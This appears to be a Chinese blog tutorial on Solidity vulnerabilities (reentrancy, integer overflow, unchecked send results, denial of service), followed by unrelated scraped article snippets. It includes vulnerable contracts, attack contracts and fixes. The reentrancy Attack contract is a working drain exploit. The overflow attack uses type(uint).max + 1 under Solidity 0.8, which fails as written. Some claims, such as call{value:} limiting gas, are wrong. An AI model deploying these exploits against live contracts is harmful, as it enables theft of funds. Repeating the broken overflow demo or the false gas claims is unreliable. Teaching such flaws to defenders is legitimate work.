智能合约 -- 常规漏洞分析 + 实例
1.重入攻击
漏洞分析
攻击者利用合约漏洞,通过fallback()或者receive()函数进行函数递归进行无限取钱。
刚才试了一下可以递归10次,貌似就结束了。
直接看代码:
- 银行合约:有存钱、取钱、查看账户余额等函数。
- 攻击合约: 攻击、以及合约接受以太币就触发的receive()函数。
分析 : 攻击者通过Attack 合约调用attack()接口,先存钱,后进行取钱;那么Bank会向该合约发送以太币,进而触发Attack合约的 receive()函数,然后又进行取钱操作,由于形成递归操作,Bank合约的withdraw()接口的,账户置0操作无法执行,从而形成无限递归。
// SPDX-License-Identifier: MIT
pragma solidity >= 0.8.0 <= 0.9.0;contract Bank {mapping (address => uint) public balances; // 账户 => 余额// 存钱函数function desposit() public payable { require(msg.value >0, "save money cannot be zero");balances[msg.sender] += msg.value;}// 取钱函数function withdraw() public{require(balances[msg.sender] >0,"balance is not exists");(bool success,) = msg.sender.call{value:balances[msg.sender]}(""); // 递归下面的操作必须等待递归之后才能执行balances[msg.sender] = 0; // 置0 操作}// 查看账户余额function getBalance() public view returns(uint){return balances[msg.sender];}}contract Attack {Bank public bank;constructor( address _bankAddress){bank = Bank(_bankAddress);}// 攻击函数function attack() public payable {bank.desposit{value:msg.value}();bank.withdraw();}receive() external payable {if(address(bank).balance >0){ //如果银行合约还有钱持续调用bank.withdraw();}}
}
漏洞解决
1. 采用更为安全的转账函数
原理:函数的执行会消耗gas,如果可支付gas不满足 递归消耗的gas,从而报错进行合约状态回滚。
<address>.transfer():发送失败则回滚交易状态,只传递 2300 Gas 供调用,防止重入。
<address>.send():发送失败则返回 false,只传递 2300 Gas 供调用,防止重入。
<address>.call():发送失败返回 false,会传递所有可用 Gas 给予外部合约 fallback() 调用;可通过 { value: money } 限制 Gas,不能有效防止重入。payable 标识符
在函数上添加 payable 标识,即可接受 Ether,并将其存储在当前合约中。
2.互斥锁
原理: 第一去取钱,状态变量修改为true,从而将函数锁住,必须等这次函数执行完毕,才能重新对函数进行调用。
3. 先将账户余额置0,再转账
原理: 先账户置0,就算转账触发递归,再次取钱 ,由于账户余额小于0,会直接抛异常。(当攻击这利用Attack合约攻击已修复好Bank合约,按道理能触发递归,接着会报 "balance is not exists",但是他却能正常执行,但是重入没触发,钱存到Bank里,没有拿回来。)
2.整形溢出
漏洞分析
算术溢出(arithmetic overflow)或简称为溢出(overflow)是指在
计算机领域里所发生的。运行单项数值计算时,当计算产生出来的
结果大于寄存器或存储器所能存储或表示的能力限制的情况就称为
算术上溢。反之,称为算术下溢。
我的理解:输入的数字超过计编程语言的数据类型设置的最大范围,表现出的数字跟预想数字不一致。
举例: 一个数据类型A取值范围是 0- 5 ,那么3 - 3 = ? 对于数据类型A的结果是多少?
我们可以把 0 - 5看成一个圈, A的最小值是0, 那么 -1 就是5, 那么-3 就是3;
3 + 3 = 6,由于A最大值5,溢出之后, 6 -> 0。
看代码:
// SPDX-License-Identifier: MIT
pragma solidity >= 0.8.0 <= 0.9.0;contract TimeLock {mapping(address => uint) public balances;mapping(address => uint) public lockTime;// 存钱并且冻结账户一周function deposit() public payable {balances[msg.sender] += msg.value;lockTime[msg.sender] = block.timestamp + 1 weeks;}// 增加冻结时间function addLcokTime(uint _time) public {lockTime[msg.sender] += _time;}// 取钱function withdraw() public {require(balances[msg.sender] > 0, "balance cannot be zrro");require(block.timestamp > lockTime[msg.sender] , " account is still frozen");uint _value = balances[msg.sender];balances[msg.sender] = 0;(bool success,) = msg.sender.call{value:_value}("");}}contract Attack{receive() external payable {}TimeLock public timelock;constructor(address _timelock) {timelock = TimeLock(_timelock);}function attack() public payable {timelock.deposit();timelock.addLcokTime(type(uint).max + 1 - timelock.lockTime(address(this))
// 传入uint 最大 + 1 ,溢出变成0, - timelock.lockTime(address(this)) 与拿到map里的冻结时间,与原先冻结时间,相加溢出也变成0. 6 -6 =0 );timelock.withdraw();}
}
漏洞解决
其实引入SafaMath库.参考这篇博客,其实原理很简单。
solidity合约开发-SafeMath_北纬32.6的博客-CSDN博客
我们把TimeLock 合约修改如下:
我们通过将2个值相加的结果,与 2个值进行比较,如果a + b发生溢出,那么 c 会小于a 或者b,从而抛出异常无法执行。
contract TimnLock {......function sum(uint a, uint b) public pure returns(uint){uint c = a + b;require(c >=a && c >= b, "overflow is trigger!");return c;}
......}
3. 未检查返回值
漏洞分析
在soldity中,像send、call、callcode、delegatecall和staticcal这些低级函数,会产生返回值作为执行结果,如果我们没有对其返回值进行判断很容易发生逻辑错误。
看下面代码:
我们Lotton合约中sendTowinner()并没有对send()的结果进行处理。
假如,我们没有赞助商通过deposit()赞助奖金,那么 send()函数会因为当前合约balance为0,没有足够eth转账,从而返回false。接着 payedOut 变为true。getWinAmount()进而能正常调用。但这并不是我们希望看到的。
我们希望send()成功,接着 payedOut 变为true,最后公开金额数量。
contract Lotto{bool public payedOut = false;address public winner; // 获胜者uint private winAmount = 10000; // 获胜金额// 2.向获胜者发送奖金function sendTowinner(address _addr) public {require(!payedOut);winner = _addr;payable(winner).send(winAmount);payedOut = true; }// 3. 向外进公开获胜者的金额数量function getWinAmount() public view returns(uint){require(payedOut);return winAmount;}// 1.赞助商赞助奖金function desposit() public payable {winAmount = msg.value;}}
漏洞解决
// 向获胜者发送奖金function sendTowinner(address _addr) public {require(!payedOut);winner = _addr;bool success = payable(winner).send(winAmount); // payable(winner).transfer(winAmount); ,失败直接会报错require(success,"send falied");payedOut = true; }
4.拒绝服务
我的理解:在soldiity里,拒绝服务漏洞可以简单理解为,因为合约内部或者外部账户操作,致使合约中的函数能大量消耗gas 和Ether或者不能被访问,从而使该函数无法正常执行。
举个例子:超市有三个收银点,正常来说人们排队在收银点进行扫码支 付,但是有一天网络出现了问题,所有收银点的顾客扫码支付都失败了, 而后面的人也不能进行支付买单,就导致了收银点的堵塞,超市不能正常 运营。又或者,在支付时有顾客故意闹事,使得后面的顾客也不能去支 付,这同样也会导致超市不能运营。我们可以看到有来自内部的,还有来 自外部的,都是可能会造成拒绝服务攻击。
1.在外部操控映射或者数组循环
这种情况一般是由于映射或数组循环在外部能被其他人操控,由于映射或数组没有长度没有被限制,从而导致大量消耗Ether和Gas。
看代码:
// SPDX-License-Identifier: MIT
pragma solidity >= 0.8.0 <= 0.9.0;
/*
*@tile: 分发代币
*/
contract DistributeTokens{uint public amount;address public owner;address[] public investors; // 投资者数组uint[] public investorTokens; // 每个投资者的tokenuint currentIndex; event Transfer(address _from, uint _amount); // 转让代币触发的事件constructor(){owner = msg.sender;}// 投资者调用,记录每个投资者的地址,和应该分发的代币function invest() public payable {investors.push(msg.sender);investorTokens.push(msg.value *5);}// 首次代币分发function distribute() public {require(msg.sender == owner);for (uint i =0;i < investors.length && gasleft() > 30000; i++) {transferToken(investors[i],investorTokens[i]);currentIndex = i;}}function transferToken(address _from,uint _amount) public {// 在这里执行代币转移操作,将代币从合约地址转移到投资者地址amount += _amount; // 记录总代币emit Transfer(_from,_amount);}}
在上面的代码片段中我们可以看到,distribute() 函数中会去遍历投资者数 组,但是合约的循环遍历数组是可以被外部的人进行人为扩充,如果有攻 击者要攻击这个合约,那么他可以创建多个账户加入投资者的数组,让 investors 的数据变得很大,大到让循环遍历数组所需的 gas 数量超过区块 gas 数量的上限,此时 distribute() 函数将无法正常操作,这样就会造成该 合约的拒绝服务攻击。
解决:如果合约必须通过一个变长数组进行转账,最好估计区块有多少笔交易,从而限制数组长度,另外必须追踪到能够进行到哪以便当操作失败开始从哪里恢复。
上面代码修改:
通过currentIndex 记录遍历数组当前索引,以便出异常查询。在循环中,加入gasleft()比较,从而限制gas的使用。
2.所有者操作
在代币合约中,通常有一个owner账户,也就是合约所有者账户,其拥有开启和暂停交易的权限。如果owner地址缺失,导致非主观的拒绝服务攻击。
在 ICO 结束后,如果特权用户丢失,其私钥可能会变为非活动状
态,此时,无法调用 finalize() 函数开启交易,那么用户就一直不能发送代
币,合约也就不能进行正常操作了。
解决 : 不能特权用户权限作为唯一判断条件,从而导致整个合约瘫痪。
相关文章:

智能合约 -- 常规漏洞分析 + 实例
1.重入攻击 漏洞分析 攻击者利用合约漏洞,通过fallback()或者receive()函数进行函数递归进行无限取钱。 刚才试了一下可以递归10次,貌似就结束了。 直接看代码: 银行合约:有存钱、取钱、查看账户余额等函数。攻击合约: 攻击、以及合约接…...

JavaScript 操作历史记录api怎样使用 JavaScript
JavaScript 操作历史记录api怎样使用 JavaScript History 是 window 对象中的一个 JavaScript 对象,它包含了关于浏览器会话历史的详细信息。你所访问过的 URL 列表将被像堆栈一样存储起来。浏览器上的返回和前进按钮使用的就是 history 的信息。 History 对象包含…...

Spring 容器
提示:英语很重要,单词是读的,是拼出来的,和拼音一样 文章目录 前言前期准备1️⃣ DI 依赖注入1、xml 配置方式2、注解方式 annotation❗相关注解Spring中Bean的作用域❗Scope() 注解Qualifier("XXXServiceImpl") 指定哪…...

【腾讯云Cloud Studio实战训练营】使用React快速构建点餐H5
文章目录 前言一、Cloud Studio是什么二、Cloud Studio特点三、Cloud Studio使用1.访问官网2.账号注册3.模板选择4.模板初始化5.H5开发安装 antd-mobile安装 Less安装 normalize上传项目需要的素材替换App.js主文件项目启动、展示 6.发布仓库 总结 前言 随着云计算产业的发展&…...

Java培训课程哪个品牌好?快拿小本本记好
Java是一门广泛应用于企业级应用程序开发的高级编程语言,具有较高的学习和职业发展价值。但是,在选择Java培训课程时,很多人会遇到一个问题:Java培训课程哪个品牌好?小编经过多方分析和比较,从专业培训的角度…...

leetcode19. 删除链表的倒数第 N 个结点
题目:leetcode19. 删除链表的倒数第 N 个结点 描述: 给你一个链表,删除链表的倒数第 n 个结点,并且返回链表的头结点。 思路: 让前面的节点比后面的节点先走n1步,因为从链表的尾节点的下一个节点开始&…...

c51单片机串行通信示例代码(单片机--单片机通信)(附带proteus线路图)
//这个发送端代码 #include "reg51.h" #include "myheader.h" #define uchar unsigned char long int sleep_i0; long int main_i0; void main() {uchar sendx[6]{2,0,2,3,8,1};sleep(2000);TMOD0x20;TH10XF4;//根据波特率计算公式这里需要设置为这么多才能…...

UML之四种事物
目录 结构事物 行为事物 分组事物: 注释事物 结构事物 1.类(Class) -类是对一组具有相同属性、方法、关系和语义的对象的描述。一个类实现一个或多个接口 2.接口(interface) -接口描述 了一个类或构件的一个服务的操作集。接口仅仅是定义了一组操作的规范&…...
盒子模型和新盒子模型及区别
盒子模型是用于描述 HTML 元素在页面中占据的空间的概念。它将每个元素视为一个矩形框,由内容区域、内边距、边框和外边距组成。这个传统的盒子模型也被称为 "标准盒子模型"。 新盒子模型是指使用 CSS3 中的 box-sizing 属性设置为 border-box 后的一种盒…...
移动端Vue组件库-vant
Vant 是有赞前端团队开源的移动端vue组件库,适用于手机端h5页面。 鉴于百度搜索不到vant官方网址,分享一下vant组件库官网地址,方便新手使用 vant官网地址Vant 4 - A lightweight, customizable Vue UI library for mobile web apps. 通过 …...

Java课题笔记~ JSP内置对象
(1)九个内置对象 jsp的内置对象:JSP内置对象是不需要声明和创建就可以在JSP页面脚本中使用的成员变量。 九个内置对象: 1.out对象 在JSP页面中,经常需要向客户端发送文本内容,这时,可以使用out对象来实现。out对象…...

数据结构笔记--链表经典高频题
目录 前言 1--反转单向链表 2--反转单向链表-II 3--反转双向链表 4--打印两个有序链表的公共部分 5--回文链表 6--链表调整 7--复制含有随机指针结点的链表 8--两个单链表相交问题 前言 面经: 针对链表的题目,对于笔试可以不太在乎空间复杂度&a…...

Android Ble蓝牙App(三)特性和属性
Ble蓝牙App(三)特性使用 前言正文一、获取属性列表二、属性适配器三、获取特性名称四、特性适配器五、加载特性六、显示特性和属性七、源码 前言 在上一篇中我们完成了连接和发现服务两个动作,那么再发现服务之后要做什么呢?发现服…...

日常BUG——使用Long类型作id,后端返回给前段后精度丢失问题
😜作 者:是江迪呀✒️本文关键词:日常BUG、BUG、问题分析☀️每日 一言 :存在错误说明你在进步! 一、问题描述 数据库long类型Id: 前端返回的Id实体类: Data ApiModel("xxx") public class …...

【C++初阶】string类的常见基本使用
👦个人主页:Weraphael ✍🏻作者简介:目前学习C和算法 ✈️专栏:C航路 🐋 希望大家多多支持,咱一起进步!😁 如果文章对你有帮助的话 欢迎 评论💬 点赞…...

【ArcGIS Pro二次开发】(60):按图层导出布局
在使用布局导图时,会遇到如下问题: 为了切换图层和导图方便,一般情况下,会把相关图层做成图层组。 在导图的时候,如果想要按照图层组进行分开导图,如上图,想导出【现状图、规划图、管控边界】3…...
docker-desktop数据目录迁移
1.退出docker-desktop后执行 wsl --list -v 如下 NAME STATE VERSION * docker-desktop Stopped 2docker-desktop-data Stopped 22.执行以下命令进行数据导出:(需要等待命令执行完成)…...

03.利用Redis实现缓存功能---解决缓存穿透版
学习目标: 提示:学习如何利用Redis实现添加缓存功能解决缓存穿透版 学习产出: 缓存穿透讲解图: 解决方案: 采用缓存空对象采用布隆过滤器 解决方案流程图: 1. 准备pom环境 <dependency><gro…...

全景图!最近20年,自然语言处理领域的发展
夕小瑶科技说 原创 作者 | 小戏、Python 最近这几年,大家一起共同经历了 NLP(写一下全称,Natural Language Processing) 这一领域井喷式的发展,从 Word2Vec 到大量使用 RNN、LSTM,从 seq2seq 再到 Attenti…...
Mybatis参数传递
Map传参, #{}里的key要一一对应不能乱写,如果不存在则会填充NULL,不会报错 Map<String, Object> map new HashMap<>(); // 让key的可读性增强 map.put("carNum", "103"); map.put("brand", "奔驰E300L&…...

UE5 学习系列(二)用户操作界面及介绍
这篇博客是 UE5 学习系列博客的第二篇,在第一篇的基础上展开这篇内容。博客参考的 B 站视频资料和第一篇的链接如下: 【Note】:如果你已经完成安装等操作,可以只执行第一篇博客中 2. 新建一个空白游戏项目 章节操作,重…...

地震勘探——干扰波识别、井中地震时距曲线特点
目录 干扰波识别反射波地震勘探的干扰波 井中地震时距曲线特点 干扰波识别 有效波:可以用来解决所提出的地质任务的波;干扰波:所有妨碍辨认、追踪有效波的其他波。 地震勘探中,有效波和干扰波是相对的。例如,在反射波…...

iOS 26 携众系统重磅更新,但“苹果智能”仍与国行无缘
美国西海岸的夏天,再次被苹果点燃。一年一度的全球开发者大会 WWDC25 如期而至,这不仅是开发者的盛宴,更是全球数亿苹果用户翘首以盼的科技春晚。今年,苹果依旧为我们带来了全家桶式的系统更新,包括 iOS 26、iPadOS 26…...
第25节 Node.js 断言测试
Node.js的assert模块主要用于编写程序的单元测试时使用,通过断言可以提早发现和排查出错误。 稳定性: 5 - 锁定 这个模块可用于应用的单元测试,通过 require(assert) 可以使用这个模块。 assert.fail(actual, expected, message, operator) 使用参数…...
Qt Http Server模块功能及架构
Qt Http Server 是 Qt 6.0 中引入的一个新模块,它提供了一个轻量级的 HTTP 服务器实现,主要用于构建基于 HTTP 的应用程序和服务。 功能介绍: 主要功能 HTTP服务器功能: 支持 HTTP/1.1 协议 简单的请求/响应处理模型 支持 GET…...

学习STC51单片机32(芯片为STC89C52RCRC)OLED显示屏2
每日一言 今天的每一份坚持,都是在为未来积攒底气。 案例:OLED显示一个A 这边观察到一个点,怎么雪花了就是都是乱七八糟的占满了屏幕。。 解释 : 如果代码里信号切换太快(比如 SDA 刚变,SCL 立刻变&#…...
【生成模型】视频生成论文调研
工作清单 上游应用方向:控制、速度、时长、高动态、多主体驱动 类型工作基础模型WAN / WAN-VACE / HunyuanVideo控制条件轨迹控制ATI~镜头控制ReCamMaster~多主体驱动Phantom~音频驱动Let Them Talk: Audio-Driven Multi-Person Conversational Video Generation速…...

LLMs 系列实操科普(1)
写在前面: 本期内容我们继续 Andrej Karpathy 的《How I use LLMs》讲座内容,原视频时长 ~130 分钟,以实操演示主流的一些 LLMs 的使用,由于涉及到实操,实际上并不适合以文字整理,但还是决定尽量整理一份笔…...

基于Springboot+Vue的办公管理系统
角色: 管理员、员工 技术: 后端: SpringBoot, Vue2, MySQL, Mybatis-Plus 前端: Vue2, Element-UI, Axios, Echarts, Vue-Router 核心功能: 该办公管理系统是一个综合性的企业内部管理平台,旨在提升企业运营效率和员工管理水…...

Sklearn 机器学习 缺失值处理 获取填充失值的统计值
💖亲爱的技术爱好者们,热烈欢迎来到 Kant2048 的博客!我是 Thomas Kant,很开心能在CSDN上与你们相遇~💖 本博客的精华专栏: 【自动化测试】 【测试经验】 【人工智能】 【Python】 使用 Scikit-learn 处理缺失值并提取填充统计信息的完整指南 在机器学习项目中,数据清…...